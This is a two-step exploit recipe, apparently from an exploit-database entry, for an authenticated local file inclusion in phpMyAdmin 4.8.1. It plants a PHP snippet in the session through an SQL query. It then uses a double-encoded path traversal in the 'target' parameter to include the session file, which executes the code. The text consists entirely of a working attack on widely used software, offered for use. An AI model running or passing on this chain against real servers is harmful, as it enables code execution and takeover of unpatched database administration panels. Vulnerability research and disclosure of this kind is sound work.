1. Run SQL Query : select '<?php phpinfo();exit;?>'
2. Include the session file :
http://1a23009a9c9e959d9c70932bb9f634eb.vsplate.me/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_11njnj4253qq93vjm9q93nvc7p2lq82k
Phpmyadmin 4.8.1 (authenticated) local file inclusion (2)